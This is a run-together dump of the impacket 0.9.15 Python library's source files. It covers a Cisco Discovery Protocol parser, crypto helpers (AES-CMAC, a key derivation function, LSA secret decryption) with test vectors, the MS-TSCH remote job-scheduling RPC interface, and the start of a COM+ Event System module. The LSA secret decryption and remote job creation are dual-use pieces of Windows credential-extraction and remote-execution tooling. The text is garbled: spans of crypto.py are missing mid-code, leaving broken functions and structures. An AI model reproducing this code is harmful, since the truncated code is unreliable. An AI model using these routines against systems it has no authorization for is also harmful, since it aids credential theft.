is_igmp_capable(self): return self._igmp_capable def is_repeater(self): return self._repeater def __str__(self): return "Capabilities:" + self.get_capabilities() class SoftVersion(CDPElement): Type = 5 def get_type(self): return SoftVersion.Type def get_version(self): return CDPElement.get_data(self) def __str__(self): return "Version:" + self.get_version() class Platform(CDPElement): Type = 6 def get_type(self): return Platform.Type def get_platform(self): return CDPElement.get_data(self) def __str__(self): return "Platform:%r" % self.get_platform() class IpPrefix(CDPElement): Type = 7 def get_type(self): return IpPrefix .Type def get_ip_prefix(self): return CDPElement.get_ip_address(self, 4) def get_bits(self): return self.get_byte(8) def __str__(self): return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits()) class ProtocolHello(CDPElement): Type = 8 def get_type(self): return ProtocolHello.Type def get_master_ip(self): return self.get_ip_address(9) def get_version(self): return self.get_byte(17) def get_sub_version(self): return self.get_byte(18) def get_status(self): return self.get_byte(19) def get_cluster_command_mac(self): return self.get_bytes().tostring()[20:20+6] def get_switch_mac(self): return self.get_bytes().tostring()[28:28+6] def get_management_vlan(self): return self.get_word(36) def __str__(self): return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \ % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan()) class VTPManagementDomain(CDPElement): Type = 9 def get_type(self): return VTPManagementDomain.Type def get_domain(self): return CDPElement.get_data(self) class Duplex(CDPElement): Type = 0xb def get_type(self): return Duplex.Type def get_duplex(self): return CDPElement.get_data(self) def is_full_duplex(self): return self.get_duplex()==0x1 class VLAN(CDPElement): Type = 0xa def get_type(self): return VLAN.Type def get_vlan_number(self): return CDPElement.get_data(self) class TrustBitmap(CDPElement): Type = 0x12 def get_type(self): return TrustBitmap.Type def get_trust_bitmap(self): return self.get_data() def __str__(self): return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap() class UntrustedPortCoS(CDPElement): Type = 0x13 def get_type(self): return UntrustedPortCoS.Type def get_port_CoS(self): return self.get_data() def __str__(self): return "UntrustedPortCoS port CoS %r" % self.get_port_CoS() class ManagementAddresses(Address): Type = 0x16 def get_type(self): return ManagementAddresses.Type class MTU(CDPElement): Type = 0x11 def get_type(self): return MTU.Type class SystemName(CDPElement): Type = 0x14 def get_type(self): return SystemName.Type class SystemObjectId(CDPElement): Type = 0x15 def get_type(self): return SystemObjectId.Type class SnmpLocation(CDPElement): Type = 0x17 def get_type(self): return SnmpLocation.Type class DummyCdpElement(CDPElement): Type = 0x99 def get_type(self): return DummyCdpElement.Type class CDPElementFactory(): elementTypeMap = { CDPDevice.Type : CDPDevice, Port.Type : Port, Capabilities.Type : Capabilities, Address.Type : Address, SoftVersion.Type : SoftVersion, Platform.Type : Platform, IpPrefix.Type : IpPrefix, ProtocolHello.Type : ProtocolHello, VTPManagementDomain.Type : VTPManagementDomain, VLAN.Type : VLAN, Duplex.Type : Duplex, TrustBitmap.Type : TrustBitmap, UntrustedPortCoS.Type : UntrustedPortCoS, ManagementAddresses.Type : ManagementAddresses, MTU.Type : MTU, SystemName.Type : SystemName, SystemObjectId.Type : SystemObjectId, SnmpLocation.Type : SnmpLocation } @classmethod def create(cls, aBuffer): # print "CDPElementFactory.create aBuffer:", repr(aBuffer) # print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2]) _type = unpack("!h", aBuffer[0:2])[0] # print "CDPElementFactory.create _type:", _type try: class_type = cls.elementTypeMap[_type] except KeyError: class_type = DummyCdpElement #raise Exception("CDP Element type %s not implemented" % _type) return class_type( aBuffer ) impacket-0.9.15/impacket/crypto.py0000600000076500000000000004325612734531507017152 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (beto@coresecurity.com) # # Description: # RFC 4493 implementation (http://www.ietf.org/rfc/rfc4493.txt) # RFC 4615 implementation (http://www.ietf.org/rfc/rfc4615.txt) # # NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation # (http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) # # [MS-LSAD] Section 5.1.2 # [MS-SAMR] Section 2.2.11.1.1 from impacket import LOG try: from Crypto.Cipher import DES, AES, ARC4 except Exception: LOG.error("Warning: You don't have any crypto installed. You need PyCrypto") LOG.error("See http://www.pycrypto.org/") from struct import pack, unpack from impacket.structure import Structure import hmac, hashlib def Generate_Subkey(K): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Algorithm Generate_Subkey + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : K (128-bit key) + # + Output : K1 (128-bit first subkey) + # + K2 (128-bit second subkey) + # +-------------------------------------------------------------------+ # + + # + Constants: const_Zero is 0x00000000000000000000000000000000 + # + const_Rb is 0x00000000000000000000000000000087 + # + Variables: L for output of AES-128 applied to 0^128 + # + + # + Step 1. L := AES-128(K, const_Zero); + # + Step 2. if MSB(L) is equal to 0 + # + then K1 := L << 1; + # + else K1 := (L << 1) XOR const_Rb; + # + Step 3. if MSB(K1) is equal to 0 + # + then K2 := K1 << 1; + # + else K2 := (K1 << 1) XOR const_Rb; + # + Step 4. return K1, K2; + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AES_128 = AES.new(K) L = AES_128.encrypt('\x00'*16) LHigh = unpack('>Q',L[:8])[0] LLow = unpack('>Q',L[8:])[0] K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF if (LHigh >> 63): K1Low ^= 0x87 K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF if (K1High >> 63): K2Low ^= 0x87 K1 = pack('>QQ', K1High, K1Low) K2 = pack('>QQ', K2High, K2Low) return K1, K2 def XOR_128(N1,N2): J = '' for i in range(len(N1)): J = J + chr(ord(N1[i]) ^ ord(N2[i])) return J def PAD(N): const_Bsize = 16 padLen = 16-len(N) return N + '\x80' + '\x00'*(padLen-1) def AES_CMAC(K, M, length): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Algorithm AES-CMAC + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : K ( 128-bit key ) + # + : M ( message to be authenticated ) + # + : len ( length of the message in octets ) + # + Output : T ( message authentication code ) + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Constants: const_Zero is 0x00000000000000000000000000000000 + # + const_Bsize is 16 + # + + # + Variables: K1, K2 for 128-bit subkeys + # + M_i is the i-th block (i=1..ceil(len/const_Bsize)) + # + M_last is the last block xor-ed with K1 or K2 + # + n for number of blocks to be processed + # + r for number of octets of last block + # + flag for denoting if last block is complete or not + # + + # + Step 1. (K1,K2) := Generate_Subkey(K); + # + Step 2. n := ceil(len/const_Bsize); + # + Step 3. if n = 0 + # + then + # + n := 1; + # + flag := false; + # + else + # + if len mod const_Bsize is 0 + # + then flag := true; + # + else flag := false; + # + + # + Step 4. if flag is true + # + then M_last := M_n XOR K1; + # + else M_last := padding(M_n) XOR K2; + # + Step 5. X := const_Zero; + # + Step 6. for i := 1 to n-1 do + # + begin + # + Y := X XOR M_i; + # + X := AES-128(K,Y); + # + end + # + Y := M_last XOR X; + # + T := AES-128(K,Y); + # + Step 7. return T; + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ const_Bsize = 16 const_Zero = '\x00'*16 AES_128= AES.new(K) M = M[:length] K1, K2 = Generate_Subkey(K) n = len(M)/const_Bsize if n == 0: n = 1 flag = False else: if (length % const_Bsize) == 0: flag = True else: n += 1 flag = False M_n = M[(n-1)*const_Bsize:] if flag is True: M_last = XOR_128(M_n,K1) else: M_last = XOR_128(PAD(M_n),K2) X = const_Zero for i in range(n-1): M_i = M[(i)*const_Bsize:][:16] Y = XOR_128(X, M_i) X = AES_128.encrypt(Y) Y = XOR_128(M_last, X) T = AES_128.encrypt(Y) return T def AES_CMAC_PRF_128(VK, M, VKlen, Mlen): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + AES-CMAC-PRF-128 + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : VK (Variable-length key) + # + : M (Message, i.e., the input data of the PRF) + # + : VKlen (length of VK in octets) + # + : len (length of M in octets) + # + Output : PRV (128-bit Pseudo-Random Variable) + # + + # +-------------------------------------------------------------------+ # + Variable: K (128-bit key for AES-CMAC) + # + + # + Step 1. If VKlen is equal to 16 + # + Step 1a. then + # + K := VK; + # + Step 1b. else + # + K := AES-CMAC(0^128, VK, VKlen); + # + Step 2. PRV := AES-CMAC(K, M, len); + # + return PRV; + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if VKlen == 16: K = VK else: K = AES_CMAC('\x00'*16, VK, VKlen) PRV = AES_CMAC(K, M, Mlen) return PRV def KDF_CounterMode(KI, Label, Context, L): # Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 # http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108 # Fixed values: # 1. h - The length of the output of the PRF in bits, and # 2. r - The length of the binary representation of the counter i. # Input: KI, Label, Context, and L. # Process: # 1. n := [L/h] # 2. If n > 2r-1, then indicate an error and stop. # 3. result(0):= empty . # 4. For i = 1 to n, do # a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2) # b. result(i) := result(i-1) || K(i). # 5. Return: KO := the leftmost L bits of result(n). h = 256 r = 32 n = L / h if n == 0: n = 1 if n > (pow(2,r)-1): raise "Error computing KDF_CounterMode" result = '' K = '' for i in range(1,n+1): input = pack('>L', i) + Label + '\x00' + Context + pack('>L',L) K = hmac.new(KI, input, hashlib.sha256).digest() result = result + K return result[:(L/8)] # [MS-LSAD] Section 5.1.2 / 5.1.3 class LSA_SECRET_XP(Structure): structure = ( ('Length','> 0x01) ) OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return "".join(OutputKey) def decryptSecret(key, value): # [MS-LSAD] Section 5.1.2 plainText = '' key0 = key for i in range(0, len(value), 8): cipherText = value[:8] tmpStrKey = key0[:7] tmpKey = transformKey(tmpStrKey) Crypt1 = DES.new(tmpKey, DES.MODE_ECB) plainText += Crypt1.decrypt(cipherText) cipherText = cipherText[8:] key0 = key0[7:] value = value[8:] # AdvanceKey if len(key0) < 7: key0 = key[len(key0):] secret = LSA_SECRET_XP(plainText) return (secret['Secret']) def encryptSecret(key, value): # [MS-LSAD] Section 5.1.2 plainText = '' cipherText = '' key0 = key value0 = pack(' # AES-CMAC bb1d6929 e9593728 7fa37d12 9b756746 # -------------------------------------------------- # # Example 2: len = 16 # M 6bc1bee2 2e409f96 e93d7e11 7393172a # AES-CMAC 070a16b4 6b4d4144 f79bdd9d d04a287c # -------------------------------------------------- # # Example 3: len = 40 # M 6bc1bee2 2e409f96 e93d7e11 7393172a # ae2d8a57 1e03ac9c 9eb76fac 45af8e51 # 30c81c46 a35ce411 # AES-CMAC dfa66747 de9ae630 30ca3261 1497c827 # -------------------------------------------------- # # Example 4: len = 64 # M 6bc1bee2 2e409f96 e93d7e11 7393172a # ae2d8a57 1e03ac9c 9eb76fac 45af8e51 # 30c81c46 a35ce411 e5fbc119 1a0a52ef # f69f2445 df4f9b17 ad2b417b e66c3710 # AES-CMAC 51f0bebf 7e3b9d92 fc497417 79363cfe # -------------------------------------------------- def pp(s): for i in range((len(s)/8)): print s[:8] , s = s[8:] return '' from binascii import hexlify, unhexlify K = "2b7e151628aed2a6abf7158809cf4f3c" M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" K1, K2 = Generate_Subkey(unhexlify(K)) print "Subkey Generation" print "K ", pp(K) print "K1 ", pp(hexlify(K1)) print "K2 ", pp(hexlify(K2)) print print "Example 1: len = 0" print "M " print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),0))) print print "Example 2: len = 16" print "M " , pp(M[:16*2]) print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),16))) print print "Example 3: len = 40" print "M " , pp(M[:40*2]) print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),40))) print print "Example 3: len = 64" print "M " , pp(M[:64*2]) print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),64))) print M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" K = "6c3473624099e17ff3a39ff6bdf6cc38" # Mac = dbf63fd93c4296609e2d66bf79251cb5 print "Example 4: len = 45" print "M " , pp(M[:45*2]) print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),45))) # ------------------------------------------------------------ # # Test Case AES-CMAC-PRF-128 with 20-octet input # Key : 00010203 04050607 08090a0b 0c0d0e0f edcb # Key Length : 18 # Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 # PRF Output : 84a348a4 a45d235b abfffc0d 2b4da09a # # Test Case AES-CMAC-PRF-128 with 20-octet input # Key : 00010203 04050607 08090a0b 0c0d0e0f # Key Length : 16 # Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 # PRF Output : 980ae87b 5f4c9c52 14f5b6a8 455e4c2d # # Test Case AES-CMAC-PRF-128 with 20-octet input # Key : 00010203 04050607 0809 # Key Length : 10 # Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 # PRF Output : 290d9e11 2edb09ee 141fcf64 c0b72f3d # # ------------------------------------------------------------ K = "000102030405060708090a0b0c0d0e0fedcb" M = "000102030405060708090a0b0c0d0e0f10111213" print "AES-CMAC-PRF-128 Test Vectors" print print "Example 1: len = 0" print "M " , pp(K) print "Key Length 18 " print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M))))) print print "Example 1: len = 0" print "M " , pp(K) print "Key Length 16 " print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M))))) print print "Example 1: len = 0" print "M " , pp(K) print "Key Length 10 " print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M))))) print impacket-0.9.15/impacket/dcerpc/0000700000076500000000000000000012734532622016503 5ustar betowheel00000000000000impacket-0.9.15/impacket/dcerpc/__init__.py0000600000076500000000000000000512734531507020612 0ustar betowheel00000000000000pass impacket-0.9.15/impacket/dcerpc/v5/0000700000076500000000000000000012734532622017035 5ustar betowheel00000000000000impacket-0.9.15/impacket/dcerpc/v5/__init__.py0000600000076500000000000000000512734531507021144 0ustar betowheel00000000000000pass impacket-0.9.15/impacket/dcerpc/v5/atsvc.py0000600000076500000000000001523212734531507020535 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-TSCH] ATSVC Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL from impacket import hresult_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if hresult_errors.ERROR_MESSAGES.has_key(key): error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ ATSVC_HANDLE = LPWSTR # 2.3.1 Constant Values CNLEN = 15 DNLEN = CNLEN UNLEN = 256 MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) # 2.3.7 Flags TASK_FLAG_INTERACTIVE = 0x1 TASK_FLAG_DELETE_WHEN_DONE = 0x2 TASK_FLAG_DISABLED = 0x4 TASK_FLAG_START_ONLY_IF_IDLE = 0x10 TASK_FLAG_KILL_ON_IDLE_END = 0x20 TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 TASK_FLAG_HIDDEN = 0x200 TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 TASK_FLAG_SYSTEM_REQUIRED = 0x1000 TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 ################################################################################ # STRUCTURES ################################################################################ # 2.3.4 AT_INFO class AT_INFO(NDRSTRUCT): structure = ( ('JobTime',DWORD), ('DaysOfMonth',DWORD), ('DaysOfWeek',UCHAR), ('Flags',UCHAR), ('Command',LPWSTR), ) class LPAT_INFO(NDRPOINTER): referent = ( ('Data',AT_INFO), ) # 2.3.6 AT_ENUM class AT_ENUM(NDRSTRUCT): structure = ( ('JobId',DWORD), ('JobTime',DWORD), ('DaysOfMonth',DWORD), ('DaysOfWeek',UCHAR), ('Flags',UCHAR), ('Command',LPWSTR), ) class AT_ENUM_ARRAY(NDRUniConformantArray): item = AT_ENUM class LPAT_ENUM_ARRAY(NDRPOINTER): referent = ( ('Data',AT_ENUM_ARRAY), ) # 2.3.5 AT_ENUM_CONTAINER class AT_ENUM_CONTAINER(NDRSTRUCT): structure = ( ('EntriesRead',DWORD), ('Buffer',LPAT_ENUM_ARRAY), ) ################################################################################ # RPC CALLS ################################################################################ # 3.2.5.2.1 NetrJobAdd (Opnum 0) class NetrJobAdd(NDRCALL): opnum = 0 structure = ( ('ServerName',ATSVC_HANDLE), ('pAtInfo', AT_INFO), ) class NetrJobAddResponse(NDRCALL): structure = ( ('pJobId',DWORD), ('ErrorCode',ULONG), ) # 3.2.5.2.2 NetrJobDel (Opnum 1) class NetrJobDel(NDRCALL): opnum = 1 structure = ( ('ServerName',ATSVC_HANDLE), ('MinJobId', DWORD), ('MaxJobId', DWORD), ) class NetrJobDelResponse(NDRCALL): structure = ( ('ErrorCode',ULONG), ) # 3.2.5.2.3 NetrJobEnum (Opnum 2) class NetrJobEnum(NDRCALL): opnum = 2 structure = ( ('ServerName',ATSVC_HANDLE), ('pEnumContainer', AT_ENUM_CONTAINER), ('PreferedMaximumLength', DWORD), ('pResumeHandle', DWORD), ) class NetrJobEnumResponse(NDRCALL): structure = ( ('pEnumContainer', AT_ENUM_CONTAINER), ('pTotalEntries', DWORD), ('pResumeHandle',LPDWORD), ('ErrorCode',ULONG), ) # 3.2.5.2.4 NetrJobGetInfo (Opnum 3) class NetrJobGetInfo(NDRCALL): opnum = 3 structure = ( ('ServerName',ATSVC_HANDLE), ('JobId', DWORD), ) class NetrJobGetInfoResponse(NDRCALL): structure = ( ('ppAtInfo', LPAT_INFO), ('ErrorCode',ULONG), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (NetrJobAdd,NetrJobAddResponse ), 1 : (NetrJobDel,NetrJobDelResponse ), 2 : (NetrJobEnum,NetrJobEnumResponse ), 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): netrJobAdd = NetrJobAdd() netrJobAdd['ServerName'] = serverName netrJobAdd['pAtInfo'] = atInfo return dce.request(netrJobAdd) def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): netrJobDel = NetrJobDel() netrJobDel['ServerName'] = serverName netrJobDel['MinJobId'] = minJobId netrJobDel['MaxJobId'] = maxJobId return dce.request(netrJobDel) def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): netrJobEnum = NetrJobEnum() netrJobEnum['ServerName'] = serverName netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength return dce.request(netrJobEnum) def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): netrJobGetInfo = NetrJobGetInfo() netrJobGetInfo['ServerName'] = serverName netrJobGetInfo['JobId'] = jobId return dce.request(netrJobGetInfo)impacket-0.9.15/impacket/dcerpc/v5/dcom/0000700000076500000000000000000012734532622017757 5ustar betowheel00000000000000impacket-0.9.15/impacket/dcerpc/v5/dcom/__init__.py0000600000076500000000000000000512734531507022066 0ustar betowheel00000000000000pass impacket-0.9.15/impacket/dcerpc/v5/dcom/comev.py0000600000076500000000000016210012734531507021445 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Description: # [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol. # This was used as a way to test the DCOM runtime. Further # testing is needed to verify it is working as expected # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC # # Since DCOM is like an OO RPC, instead of helper functions you will see the # classes described in the standards developed. # There are test cases for them too. # from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRENUM, NDRUniConformantVaryingArray from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, INTERFACE, PMInterfacePointer, IRemUnknown from impacket.dcerpc.v5.dcom.oaut import IDispatch, BSTR, VARIANT from impacket.dcerpc.v5.dtypes import INT, ULONG, LONG, BOOLEAN from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.enum import Enum from impacket import hresult_errors from impacket.uuid import string_to_bin, uuidtup_to_bin class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'COMEV SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'COMEV SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 1.9 Standards Assignments CLSID_EventSystem = string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345') CLSID_EventSystem2 = string_to_bin('99CC098F-A48A-4e9c-8E58-965C0AFC19D5') CLSID_EventClass = string_to_bin('cdbec9c0-7a68-11d1-88f9-0080c7d771bf') CLSID_EventSubscription = string_to_bin('7542e960-79c7-11d1-88f9-0080c7d771bf') GUID_DefaultAppPartition = string_to_bin('41E90F3E-56C1-4633-81C3-6E8BAC8BDD70') IID_IEventSystem = uuidtup_to_bin(('4E14FB9F-2E22-11D1-9964-00C04FBBB345','0.0')) IID_IEventSystem2 = uuidtup_to_bin(('99CC098F-A48A-4e9c-8E58-965C0AFC19D5','0.0')) IID_IEventSystemInitialize = uuidtup_to_bin(('a0e8f27a-888c-11d1-b763-00c04fb926af','0.0')) IID_IEventObjectCollection = uuidtup_to_bin(('f89ac270-d4eb-11d1-b682-00805fc79216','0.0')) IID_IEnumEventObject = uuidtup_to_bin(('F4A07D63-2E25-11D1-9964-00C04FBBB345','0.0')) IID_IEventSubscription = uuidtup_to_bin(('4A6B0E15-2E38-11D1-9965-00C04FBBB345','0.0')) IID_IEventSubscription2 = uuidtup_to_bin(('4A6B0E16-2E38-11D1-9965-00C04FBBB345','0.0')) IID_IEventSubscription3 = uuidtup_to_bin(('FBC1D17D-C498-43a0-81AF-423DDD530AF6','0.0')) IID_IEventClass = uuidtup_to_bin(('fb2b72a0-7a68-11d1-88f9-0080c7d771bf','0.0')) IID_IEventClass2 = uuidtup_to_bin(('fb2b72a1-7a68-11d1-88f9-0080c7d771bf','0.0')) IID_IEventClass3 = uuidtup_to_bin(('7FB7EA43-2D76-4ea8-8CD9-3DECC270295E','0.0')) error_status_t = ULONG # 2.2.2.2 Property Value Types class VARENUM(NDRENUM): class enumItems(Enum): VT_EMPTY = 0 VT_NULL = 1 VT_I2 = 2 VT_I4 = 3 VT_R4 = 4 VT_R8 = 5 VT_CY = 6 VT_DATE = 7 VT_BSTR = 8 VT_DISPATCH = 9 VT_ERROR = 0xa VT_BOOL = 0xb VT_VARIANT = 0xc VT_UNKNOWN = 0xd VT_DECIMAL = 0xe VT_I1 = 0x10 VT_UI1 = 0x11 VT_UI2 = 0x12 VT_UI4 = 0x13 VT_I8 = 0x14 VT_UI8 = 0x15 VT_INT = 0x16 VT_UINT = 0x17 VT_VOID = 0x18 VT_HRESULT = 0x19 VT_PTR = 0x1a VT_SAFEARRAY = 0x1b VT_CARRAY = 0x1c VT_USERDEFINED = 0x1d VT_LPSTR = 0x1e VT_LPWSTR = 0x1f VT_RECORD = 0x24 VT_INT_PTR = 0x25 VT_UINT_PTR = 0x26 VT_ARRAY = 0x2000 VT_BYREF = 0x4000 VT_UINT_PTR = 7 ################################################################################ # STRUCTURES ################################################################################ # 2.2.44 TYPEATTR class TYPEATTR(NDRSTRUCT): structure = ( ) class OBJECT_ARRAY(NDRUniConformantVaryingArray): item = PMInterfacePointer ################################################################################ # RPC CALLS ################################################################################ # 3.1.4.1 IEventSystem # 3.1.4.1.1 Query (Opnum 7) class IEventSystem_Query(DCOMCALL): opnum = 7 structure = ( ('progID', BSTR), ('queryCriteria', BSTR), ) class IEventSystem_QueryResponse(DCOMANSWER): structure = ( ('errorIndex', INT), ('ppInterface', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.1.2 Store (Opnum 8) class IEventSystem_Store(DCOMCALL): opnum = 8 structure = ( ('progID', BSTR), ('pInterface', PMInterfacePointer), ) class IEventSystem_StoreResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.1.3 Remove (Opnum 9) class IEventSystem_Remove(DCOMCALL): opnum = 9 structure = ( ('progID', BSTR), ('queryCriteria', BSTR), ) class IEventSystem_RemoveResponse(DCOMANSWER): structure = ( ('errorIndex', INT), ('ErrorCode', error_status_t), ) # 3.1.4.1.4 get_EventObjectChangeEventClassID (Opnum 10) class IEventSystem_get_EventObjectChangeEventClassID(DCOMCALL): opnum = 10 structure = ( ) class IEventSystem_get_EventObjectChangeEventClassIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.1.5 QueryS (Opnum 11) class IEventSystem_QueryS(DCOMCALL): opnum = 11 structure = ( ('progID', BSTR), ('queryCriteria', BSTR), ) class IEventSystem_QuerySResponse(DCOMANSWER): structure = ( ('pInterface', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.1.6 RemoveS (Opnum 12) class IEventSystem_RemoveS(DCOMCALL): opnum = 12 structure = ( ('progID', BSTR), ('queryCriteria', BSTR), ) class IEventSystem_RemoveSResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.2 IEventClass # 3.1.4.2.1 get_EventClassID (Opnum 7) class IEventClass_get_EventClassID(DCOMCALL): opnum = 7 structure = ( ) class IEventClass_get_EventClassIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.2 put_EventClassID (Opnum 8) class IEventClass_put_EventClassID(DCOMCALL): opnum = 8 structure = ( ('bstrEventClassID', BSTR), ) class IEventClass_put_EventClassIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.2.3 get_EventClassName (Opnum 9) class IEventClass_get_EventClassName(DCOMCALL): opnum = 9 structure = ( ) class IEventClass_get_EventClassNameResponse(DCOMANSWER): structure = ( ('pbstrEventClassName', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.4 put_EventClassName (Opnum 10) class IEventClass_put_EventClassName(DCOMCALL): opnum = 10 